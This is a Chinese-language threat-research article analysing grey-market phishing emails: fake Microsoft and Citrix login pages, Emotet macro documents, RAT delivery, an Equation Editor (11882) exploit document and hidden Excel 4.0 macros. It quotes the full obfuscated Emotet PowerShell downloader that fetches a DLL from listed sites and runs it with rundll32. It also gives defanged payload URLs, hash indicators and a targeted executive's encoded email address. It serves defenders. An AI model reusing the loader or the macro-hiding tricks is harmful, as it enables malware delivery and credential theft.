各类灰黑产钓鱼邮件概括分析

阅读量    174459 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

背景

在样本的逆向分析中,我们接触到的大多数是直接拿到的恶意样本,有的是PE文件;有的是包含恶意宏代码的office文档;有的是带有漏洞利用的office文档;有的是APK文件;有的是HTA文件;有的只是一个简单的LNK文件……

在分析这些恶意样本的同时,我们也知道这些样本不是凭空出现在这里,出现在受害者的计算机上的。样本从哪来来,它要到哪里去,它通过什么方式去。这些都是很有意思的问题,在本文中,笔者对恶意软件投递的主要分支-钓鱼邮件进行了一个简单的分析,希望大家能喜欢~

首先,个人认为钓鱼攻击和鱼叉攻击是不同的,和钓鱼的定义一样,钓鱼攻击往往没有明确的目标,或是没有精确的目标,只要有鱼儿上钩,攻击者就成功了,这种攻击往往出现在黑灰产攻击中。而鱼叉攻击往往出现在APT中,鱼叉攻击的诱饵很有可能是攻击者针对特定目标,结合其兴趣爱好或是工作岗位精心构造的,目的在于精准打击。但由于很多资料将这两种混为一谈,为了方便描述,在下文中均称为钓鱼攻击。

由于钓鱼攻击成本远远小于漏洞攻击,钓鱼攻击早已被各大家族所青睐,从黑产到APT,从东亚到北欧均有着钓鱼攻击的身影。

 

账号盗用类钓鱼邮件

对微软账号的钓鱼攻击

通常情况下,钓鱼邮件指的就是账号钓鱼。攻击者通过构建一个假的登录页面,然后通过邮件正文描述或是其他方式,诱导用户点击进入钓鱼页面,输入对应平台的账号密码。此类邮件在钓鱼邮件中占了非常大一部分,用途也十分广泛,小到可以盗取游戏账号密码,大到可以盗取银行账户密码(这个几率倒是很小)。

某邮件属于针对西班牙信托机构相关用户的钓鱼邮件,邮件主题为西班牙语:Accion escáner xero

邮件主要是伪造西班牙的信托机构Accion以诱导用户打开附件的pdf文件。

为了防止邮件被直接报毒或是pdf被单独分析,攻击者给pdf文档设置了密码:BACKOFFICE

PDF文档中只有一张超链接图片:

访问该超链接可得到一个仿造微软的钓鱼页面:

针对特定用户的鱼叉攻击

除开上面那种广撒网的钓鱼方式,还有一些高级的钓鱼邮件是针对特定用户的。这个用户可能是某个网站管理员、也有可能是某个公司职员。但是通常来讲,被针对的用户一定是非常有价值的,此类邮件相对来说要少一些,但一旦成功,危害往往也更大。

此邮件是针对云端运算的科技公司思杰高级产品总监Derek Thorslund的鱼叉攻击。邮件原始内容如下:

攻击者冒充了快递公司LBC Express指定发送钓鱼邮件给Derek Thorslund,当受害者单击邮件中的Read Fax之后,则会通过浏览器打开以下页面,要求用户登录Derek Thorslund的账号密码。
hxxps://citrix.mikewhiteclientsite.com/3539384?ZGVyZWsudGhvcnNsdW5kQGNpdHJpeC5jb20=&&mic#94285?ZGVyZWsudGhvcnNsdW5kQGNpdHJpeC5jb20=

而该页面实际上被一个满屏的iframe给填充了:

填充的地址才是真实的钓鱼页面:hxxps://bqyndorheo.trafficmanager.net/common/pass.php?ijbgtrf=ZGVyZWsudGhvcnNsdW5kQGNpdHJpeC5jb206OjU=

(Web这一块太久没有搞了,如果有说错的地方还望各位大佬见谅~)

而此次钓鱼攻击的对象则是Citrix公司的高级产品总监Derek Thorslund

 

样本投递类钓鱼邮件

银行木马家族Emotet的高度活跃

目前Emotet应该是最为活跃的银行木马家族,每天的新增样本非常大,且有很多很多个版本。
anyrun上Emotet标签相关样本已有1377页:

而在bazaar上已有超过六万个Emotet相关样本:

笔者这里就以只描述其中一例,让我们管中窥豹看看Emotet强大的运营。

此邮件还是针对西班牙地区的用户。攻击者仿冒西班牙邮政规划局https://www.mitma.es/

下发了一个包含恶意文档的钓鱼邮件,邮件内容主要是告诉用户基本信息和文档的解压密码:

这种带密码的附件在邮件检测系统中,往往有着比较不错的免杀效果:

解压出来的文件是带有VBA宏代码的doc文档,攻击者伪装成office365官方诱导用户启用宏:

VBA代码有一定程度的混淆,主要功能为通过powershell执行一段编码后的base64字符串

执行指令如下:

由于宏代码调试窗口有显示长度限制,这里可以写入到文件查看:

解码后的powershell指令如下:

$U6351=[TYpE]("{2}{0}{1}{4}{3}{5}" -F 'ySTEm.i','O.di','s','EcTO','R','RY')  ;$OLV = [tYpe]("{0}{7}{1}{8}{3}{6}{5}{2}{4}" -F'sY','TEm.NE','ntmAN','v','AGeR','I','iCePO','s','T.seR')  ;  $ErrorActionPreference = ('Si'+('le'+'n')+'t'+('ly'+'C')+('onti'+'n'+'ue'));$Ytd_ppb=$H4_L + [char](64) + $Q01Q;$E15N=(('O'+'1_')+'V');  ( geT-VaRiable u6351 -VaLUEoNLy )::"cRE`ATedIr`eC`Tory"($HOME + (('{0}N'+('sgh'+'o')+'ht{0}'+'G'+'b'+('h5r'+'9o')+'{0}') -f  [cHaR]92));$N95W=(('S'+'28')+'S');  (  Ls  vArIABle:olV).VAlUE::"SECUr`ITY`PrOTO`coL" = ('Tl'+('s1'+'2'));$K_2L=('B6'+'7O');$Bexo28t = ('Q2'+'7V');$M69N=(('U'+'72')+'A');$Zc7n7y_=$HOME+(('{'+'0'+'}'+('N'+'sg')+'hoht{0}'+'G'+('b'+'h5r')+'9o{0}') -F[CHAR]92)+$Bexo28t+('.d'+'ll');$N_1W=(('M'+'34')+'Y');$Ile_vaa=(']'+('b2'+'['+'s://w'+'heel')+'co'+'mo'+'vi'+('n'+'g.co'+'m/p')+'/R'+'u'+'M'+('eRP'+'a')+'/@'+(']'+'b2[s:/')+('/'+'00')+'z'+('y'+'ku')+'.'+'co'+('m/w'+'p'+'-admin/'+'e')+('Yu1'+'Q/')+'@]'+'b'+('2['+'s://k')+('e'+'tore')+('se'+'tm')+('e'+'.com')+'/w'+'p'+('-'+'cont')+('e'+'nt/pmJ')+'/'+('@'+']b')+'2'+('['+'ss:/'+'/')+('ryco'+'m')+'p'+('ut'+'e')+'r.'+('com/c'+'on')+('ten'+'t/T')+('L/@]'+'b'+'2[s'+'s')+(':'+'//')+'d-'+('c'+'em'+'.com')+'/'+'wp'+('-a'+'d')+('m'+'in')+'/'+('J'+'SLwG1')+('/@]b2[s'+':'+'/')+'/'+('thebes'+'t')+'f'+('ikra'+'h.'+'co')+'m'+('/wp-'+'adm'+'i'+'n/')+('f'+'OIl'+'VX/@')+(']b2'+'[')+('ss:/'+'/')+('ph'+'aw')+('aya'+'ge')+'n'+('cy'+'.com/')+'w'+'p'+('-'+'ad')+'mi'+'n'+('/'+'mXo')+'4b'+'/')."rep`L`ACE"(((']b'+'2[')+'s'),([array]('sd','sw'),('h'+('tt'+'p')),'3d')[1])."s`pLIT"($E__V + $Ytd_ppb + $C54Y);$J37V=(('G5'+'2')+'C');foreach ($Yfpdvur in $Ile_vaa){try{(.('New-'+'Ob'+'ject') SYstem.nEt.webcLiEnT)."DoW`N`l`oadfIle"($Yfpdvur, $Zc7n7y_);$W02H=('C'+('59'+'X'));If ((.('Get-I'+'tem') $Zc7n7y_)."LEnG`TH" -ge 38413) {.('r'+'un'+'dll32') $Zc7n7y_,('Co'+('nt'+'ro')+('l_R'+'u'+'nDL')+'L')."tost`R`ING"();$U78W=('M0'+'1N');break;$F24T=('K'+('3'+'8L'))}}catch{}}$A31I=('V'+('8'+'8J'))

该段powershell的主要功能是循环请求预定义的地址,尝试下载dll到本地加载执行:

预定义的下载地址如下:

hxxp://wheelcomoving.com/p/RuMeRPa/
hxxp://00zyku.com/wp-admin/eYu1Q/
hxxp://ketoresetme.com/wp-content/pmJ/
hxxps://rycomputer.com/content/TL/
hxxps://d-cem.com/wp-admin/JSLwG1/
hxxp://thebestfikrah.com/wp-admin/fOIlVX/
hxxps://phawayagency.com/wp-admin/mXo4b/

可以看到大多数下载地址都是wp站点,这里有可能是攻击者自己搭建的wp站点,也有可能是攻击者盗用了别人的wp站点。

下载回来的dll由vc编译,保留了pdb信息:B:\Great_Colo47417192002\Release\demo.pdb
目前VT只有六家杀软对其进行查杀

经过分析,该PDB对应的样本均为Emotet银行木马家族的恶意文件,这里放出部分md5

e4063b9ff606acb932194ee6d3b1bb3f
2a36019df952d92a4c2773bba876aac5
ce02380fd888e7b33d8bb8d055cebe7f
54634ce3868099ab0bc403288bc0173e
419c2447da95691b15ea22d2d082fbef
c88c6af81fdff2d06c43ffbffd324249
984f3c3923529ea92da74271c975e173
50c75097512030a9f7b870a951a0dc30
92a0b2ca0d9641407b6c2f553d2a8d41
843509cdcec6fa2bac88fa573d71d892
47956a141849310c4903224a67d37888
ef2835d16e6c62dc3d8d989f78133388
0c43b4bb2c19ffeccaf90c4126f89819
809c5016a1ff3d36b9e1b8321687f466
fc66175a5e51e4e0c3b68d40e063e981
9cd678b75a8b4ba1cb7df94b6f1d6eba
4dc86990cce88968576e525e5196e661
607e15a699083629640b943a96435f66
c5cc669313381a2411b00185d33e7342
f4a59d9111d0fa4925dca33c15285beb

该版本的Emotet拥有一个用于解密的导出函数:

解码的数据是名为7765的资源:

钓鱼邮件下发商业远控

随着网络安全的发展,安全从业者在进步的同时,攻击者也在不断的更新攻击方式,各类远控木马接踵而至。对于普通的黑灰产来讲,通过钓鱼邮件直接下发远控木马是效率最高的,毕竟广撒网,总有安全意识薄弱的人会中招。

目前通过钓鱼邮件下发的木马主要有AgentTesla、SnakeKeyLogger、NonaCore、QuasarRAT、njRAT、Guloader、RemcosRAT以及更多笔者没看到的样本。

这里也只大概举例,不会对每类样本进行详细分析。

其中一封钓鱼邮件是攻击者以付款通知为诱饵对葡萄牙地区用户发起的钓鱼攻击:

两个附件解压出来均为C#编写的Nanobot后门。

钓鱼邮件下发漏洞文档

直接投递exe,效率是有了,但是成功率较低,且pe作为附件在没有加密压缩的情况下大多数时候还是会被检测到。
这个时候,对exe文件进行加密压缩然后将解压密码写在邮件正文中是一个不错的解决方案。投递带漏洞的office加载exe是另一个不错的解决方案。这里以一个11882漏洞利用的样本为例:

邮件冒充了Platech的销售总监下发账单,诱导受害者下载并打开附件xlsx文件

经过简单分析可知附件的xls文档并非VBA宏代码,而是11882的漏洞利用文档,于是直接在Eqendt32.exe的00411658漏洞触发点处设置断点:

断点设置成功后,打开恶意文档触发断点:

漏洞触发后,会跳转到shellcode执行:

解密出URLDownloadToFile并尝试从hxxp://216.170.114.70/regasm/vbc.exe 下载vbc.exe到本地加载执行

尝试下载文件保存到C:\Users\Public\Public\vbc.exe并通过ShellExecute执行:

下载回来的vbc.exe依旧是C#编写的远控木马,疑似为AgentTesla,通过邮件的方式将本地收集到的信息上传到攻击者的邮件服务器:smtp.osmosissasia.com

利用正规远程控制工具

除了使用商业木马和定制木马,使用正规的远程控制工具完成对受害者的远控也不少。

此邮件是攻击者仿冒了俄罗斯的货物运输公司Dellin对俄罗斯用户发起的钓鱼攻击。

为了取得受害者信任,攻击者构建了大篇幅的虚假信息和一个带密码保护的附件文档,诱导用户解压并运行附件文件:

附件中的样本解压后可以看到伪装为了pdf文档,文档名译为电子要求.exe

经过简单分析,该文件属于sfx自解压文档,内含一个msi安装包和一个Install.exe

两个EXE均为Remotet Utilities远程控制工具,installer.exe用于隐蔽安装host_news_mod_mod.msi文件,host_news_mod_mod安装界面如下:

经过简单分析,和之前黑产利用tv远控受害者类似,此次攻击中,攻击者也是通过正规的远程控制工具进行攻击。

Macro4.0宏文档投递

之所以将Macro4.0宏单独拿出来写,是因为这种宏代码执行的方式跟我们熟知的VBA不一样。先介绍一下Macro4.0

微软从1992年开始在office中引用了名为Excel4.0的宏代码技术,也被成为XLM宏。和如今常见的VBA宏不同的是,Excel4.0宏代码写在表格中,宏代码的具体文件呈现为xml而不是二进制文件。1993年,微软更新了Excel5.0技术,也就是现在常见的VBA宏代码。

顺便说一下,关于VBA和VBS的关系。个人理解VBA和VBS语法相同,主要是依赖环境不同。VBS依赖于wscript.exe执行,而VBA代码依赖于office组件执行。

根据微软的数据来看,从Excel2010到Excel2019全线产品都支持Excel4.0宏。同时微软也提到,虽然目前Microsoft Excel仍然支持Excel4.0宏,但还是建议用户使用VBA宏。

Macro4.0常见应用

Excel4.0的创建非常简单,只需要在某个工作表上右键,选择插入:

在弹出来的对话框中选择MS Excel4.0:

Excel则会自动创建一个名为Macro1的新工作表,中文系统下为<宏1>,在创建的新工作表中,可以执行宏指令。

选中第一行宏代码,右键选择执行:

宏代码运行之后,则会弹出cmd和弹框显示Macro4.0 Test

从Excel4.0的设计初衷来看,该类宏可以很方便的协助Excel进行各类的数据计算和汇总。

2018年10月份,来自Outflank的安全研究员曝光了此类技术在恶意软件中的大肆使用,并且指出使用XLM宏比常见的VBA宏具有更好的免杀性。

原因主要是:
XLM宏和VBA宏的设计理念不同,导致了宏代码在文件结构中的呈现不同。

和VBA宏一样的是,在文件打开时,Excel依旧会提醒用户
Because of your security settings, macros have been disabled. To run macros, you need to reopen this workbook, and then choose to enable macros. For more information about enabling macros, click Help.
让用户决定是否要启用宏。

不同的是,当用户单击启用之后,ALT + F11打开宏代码窗口,却并不能看到宏代码。也不能通过一些常见的宏代码提取工具检测分析宏。

这是因为默认情况下,XLM宏代码存储在xl\Macrosheets\文件夹下的Sheet1.xml中。打开该xml文件,可以清晰的看到刚才在Excel工作表中插入的宏代码。

保护方式

对于VBA代码来讲,最常见的保护方式为混淆和密码保护。
但两者均有弊端。
对于混淆来讲,由于VBA代码能做的东西始终有限,所以大部分的VBA的主要功能都是一个loader/downloader。大多数的VBA会通过复杂的流程和解码、最后调用powershell指令下载并执行后续的payload。或者在本地释放一个脚本并通过com组件加载执行。

对于密码保护来讲,熟悉office文件格式的分析者可以很快绕过密码保护,且现在有很多工具可以直接删除掉密码。

对于XLM宏来讲,最常见的保护方式为隐藏。

最基础的隐藏方式是直接在带有宏的工作表上右键,选择隐藏:

这种方式不太靠谱,也被称作为浅隐藏,用户只需要在任意表格上右键,选择取消隐藏即可找到隐藏的Macro工作表。

以钓鱼邮件中的一例实际样本为例,原始样本模仿了一份中学成绩单,并且显示只有一个sheet表格。

在Sheet1上右键,选择取消隐藏,会弹出对话框显示一个名为(m1)(m2)(m3)的工作表

取消隐藏后的工作表如下,这里可以看到,左上角第一个单元格是G1,而不是A1,所以可以知道,有列单元格被隐藏,隐藏在列单元格上右键,取消隐藏即可显示前面的单元格。

取消隐藏之后,在A列和C列中,即显示了恶意的宏代码,宏代码没什么特别的,在此文中不作详细分析。

可以看到,这样的隐藏方式还是很容易就能够被分析人员所找到,代码的保护性做的不是很好。接下来看看通过hex数据修改来实现工作表隐藏的样本。

还是以一个实际的样本为例,样本内嵌了Excel4.0宏,但是在工作表上鼠标右键却显示没有隐藏的工作表。

针对此类样本,可以在使用010之类的hex数据编辑工具,搜索85 00
筛选一下,然后往后数九个字节,这里的值应该是00 01 02中的其中一项。
其中00 表示不隐藏,01表示浅隐藏(可通过鼠标右键取消隐藏) 02表示深度隐藏(无法在Excel中找到)
这里是02,所以可以手动将其修改为00 或者01,即可在excel中找到对应的工作表。

首先修改为01验证一下,修改为01之后打开文档,即可通过鼠标右键取消隐藏带宏的工作表。

修改为00之后,打开xls文档即可看到该工作表:

具体宏代码如下:

这样操作背后的原理支持其实是修改BOUNDSHEET这个结构。
若对该结构感兴趣可下载XLM的结构解析继续研究:
https://download.microsoft.com/download/1/A/9/1A96F918-793B-4A55-8B36-84113F275ADD/Excel97-2007BinaryFileFormat(xls)Specification.pdf

接下来再看一个实际样本,是另外一种简单的隐藏方式。
攻击者以账单为诱饵,投递了一个xlsm文件:

xlsm文件中有一个名为Rectangle3 的文本框,文本框内容为View your invoice,单击该文本框会触发宏代码:

确保了该文档没有隐藏的工作表之后,我们可以直接在当前工作表搜索等于符号”=”,在I2681的地方可以看到相关代码:

这里很明显是将文件设置为了和背景一样的白色,可以全选文档,然后更改所有文字的颜色,然后再缩小文档,就可以看到藏有代码的单元格:

这里的宏代码运行后会尝试从hxxp://expenses.zaytechsolutions.com/we18w1i.gif 下载一个由VC编译的dll文件到本地加载执行:

经过简单分析,该dll疑似为网银木马家族Dridex的样本,且该dll包含了一个pdb路径:
c:\DependSlow\ProvideBrought\ArriveHad\Swim.pdb

根据该PDB,又可以找到四个关联样本:
139af2873a7e9e1751ada1862bde70ea
08c40826bf7cd3963b4f133c74216241
d371f6568e6cc494fbf8bee063fe8c09
831c361b1f54a876c98fb6bf3cd5d688

将关联的样本下载回来分析,基本可以确定是Dridex家族样本。

 

小结

就本文而言,例举了小部分的的钓鱼样本,只是抛砖引玉,从样本分析的角度对目前常见的灰黑产相关的钓鱼邮件进行了一个简单的分析。关于邮件伪造、钓鱼域名等内容并未展开叙述。

钓鱼邮件一直是撕开企业安全口子的一个常见方式,随着邮件检测系统的日渐普及,攻击者用了加密码这种很简单的方式就可以绕过大多数的检测系统。相信在之后的钓鱼攻击中,带密码的附件将会越来越多,作为防守方,我们则需要从攻击者编造的正文小作文中提取出有效的密码进行有效防御。但无论是邮件检测,还是本地杀软,防守都是比较被动的,攻击者可以通过很多方式来绕过检测,再加上邮件正文的甜言蜜语,没有安全意识的用户中招是再正常不过的事情,笔者认为,光靠检测系统,是不可能防御掉所有的钓鱼邮件的,现有的检测系统大多数只能查过去的样本,只能在攻击者后面追着跑,真正防御的方式,还是培养大家拥有一个良好的安全意识。(虽然这个更难)

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多